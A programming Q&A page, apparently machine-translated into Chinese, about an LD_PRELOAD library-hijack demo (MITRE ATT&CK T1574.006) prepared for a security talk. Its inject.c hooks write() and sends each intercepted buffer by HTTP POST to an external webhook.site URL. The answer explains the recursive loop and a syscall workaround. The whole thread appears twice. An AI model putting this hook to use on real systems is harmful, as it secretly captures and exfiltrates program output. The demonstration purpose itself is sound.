libcurl 和 LD_PRELOAD
libcurl and LD_PRELOAD
我正在使用 LD_PRELOAD 创建一个小程序示例,以便在安全会议上演示 Mitre ATT&CK ID T1574.006。我大部分时间都在使用它,但我 运行 遇到的问题之一是使用 libcurl 作为演示的一部分。当我在这里使用示例 POST 代码时:https://curl.se/libcurl/c/http-post.html 我的程序一直循环直到我终止它并且不 post 任何数据。
如果有人能指出正确的方向,我将不胜感激。本质上,我要做的是在返回标准写入功能之前 post 将数据发送到站点。
代码如下:
main.c
#include <unistd.h>
#include <string.h>
int main(int argc, char **argv) {
const char *msg = "Hello write\n";
// 1 writes to stdout file descriptor
write(1, msg, strlen(msg));
return 0;
}
inject.c
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <dlfcn.h>
#include <unistd.h>
#include <curl/curl.h>
#include <string.h>
void postData(char *postData) {
CURL *curl;
CURLcode res;
/* In windows, this will init the winsock stuff */
curl_global_init(CURL_GLOBAL_ALL);
char testData[500];
strcpy(testData, "testData=");
strcat(testData, postData);
printf("%s\n", testData);
/* get a curl handle */
curl = curl_easy_init();
if(curl) {
/* First set the URL that is about to receive our POST. This URL can
just as well be a https:// URL if that is what should receive the
data. */
curl_easy_setopt(curl, CURLOPT_URL, "https://webhook.site/xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx");
/* Now specify the POST data */
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, testData);
/* Perform the request, res will get the return code */
res = curl_easy_perform(curl);
/* Check for errors */
if(res != CURLE_OK)
fprintf(stderr, "curl_easy_perform() failed: %s\n",
curl_easy_strerror(res));
/* always cleanup */
curl_easy_cleanup(curl);
}
curl_global_cleanup();
}
ssize_t write(int fd, const void *buf, size_t count) {
char *p = (char *)buf;
printf("From main: %s\n", p);
postData(p);
// Look up the next write symbol
ssize_t (*orig_write)(int fd, const void *buf, size_t count) = dlsym(RTLD_NEXT, "write");
return orig_write(fd, buf, count);
}
下面是我编译和执行的方式:
TARGET = example_6
all: main.c
gcc main.c -g -o ${TARGET}
gcc -shared -g -fPIC inject.c -o inject.so -ldl
run:
LD_PRELOAD=./inject.so ./${TARGET}
postData
可以拨打 write
次电话(例如 printf
和 fprintf
次您在 postData
中的电话。由于 write
被拦截,它从 postData
调用您拦截的 write
函数...然后它再次转到 postData
并继续。这就是“循环”发生的方式。
您需要确保 postData
中没有任何内容调用 write
。如果您确实需要打印某些东西,则必须使用其他方式。您可以改为使用 syscall
(Linux).
syscall(SYS_write, STDOUT_FILENO, testData, strlen(testData));
任何 curl_*
函数如果碰巧调用 write
.
也可能发生同样的情况
如果有人回到这里,我最终使用了 unsetenv
并解决了我的问题
我正在使用 LD_PRELOAD 创建一个小程序示例,以便在安全会议上演示 Mitre ATT&CK ID T1574.006。我大部分时间都在使用它,但我 运行 遇到的问题之一是使用 libcurl 作为演示的一部分。当我在这里使用示例 POST 代码时:https://curl.se/libcurl/c/http-post.html 我的程序一直循环直到我终止它并且不 post 任何数据。
如果有人能指出正确的方向,我将不胜感激。本质上,我要做的是在返回标准写入功能之前 post 将数据发送到站点。
代码如下:
main.c
#include <unistd.h>
#include <string.h>
int main(int argc, char **argv) {
const char *msg = "Hello write\n";
// 1 writes to stdout file descriptor
write(1, msg, strlen(msg));
return 0;
}
inject.c
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <dlfcn.h>
#include <unistd.h>
#include <curl/curl.h>
#include <string.h>
void postData(char *postData) {
CURL *curl;
CURLcode res;
/* In windows, this will init the winsock stuff */
curl_global_init(CURL_GLOBAL_ALL);
char testData[500];
strcpy(testData, "testData=");
strcat(testData, postData);
printf("%s\n", testData);
/* get a curl handle */
curl = curl_easy_init();
if(curl) {
/* First set the URL that is about to receive our POST. This URL can
just as well be a https:// URL if that is what should receive the
data. */
curl_easy_setopt(curl, CURLOPT_URL, "https://webhook.site/xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx");
/* Now specify the POST data */
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, testData);
/* Perform the request, res will get the return code */
res = curl_easy_perform(curl);
/* Check for errors */
if(res != CURLE_OK)
fprintf(stderr, "curl_easy_perform() failed: %s\n",
curl_easy_strerror(res));
/* always cleanup */
curl_easy_cleanup(curl);
}
curl_global_cleanup();
}
ssize_t write(int fd, const void *buf, size_t count) {
char *p = (char *)buf;
printf("From main: %s\n", p);
postData(p);
// Look up the next write symbol
ssize_t (*orig_write)(int fd, const void *buf, size_t count) = dlsym(RTLD_NEXT, "write");
return orig_write(fd, buf, count);
}
下面是我编译和执行的方式:
TARGET = example_6
all: main.c
gcc main.c -g -o ${TARGET}
gcc -shared -g -fPIC inject.c -o inject.so -ldl
run:
LD_PRELOAD=./inject.so ./${TARGET}
postData
可以拨打 write
次电话(例如 printf
和 fprintf
次您在 postData
中的电话。由于 write
被拦截,它从 postData
调用您拦截的 write
函数...然后它再次转到 postData
并继续。这就是“循环”发生的方式。
您需要确保 postData
中没有任何内容调用 write
。如果您确实需要打印某些东西,则必须使用其他方式。您可以改为使用 syscall
(Linux).
syscall(SYS_write, STDOUT_FILENO, testData, strlen(testData));
任何 curl_*
函数如果碰巧调用 write
.
如果有人回到这里,我最终使用了 unsetenv
并解决了我的问题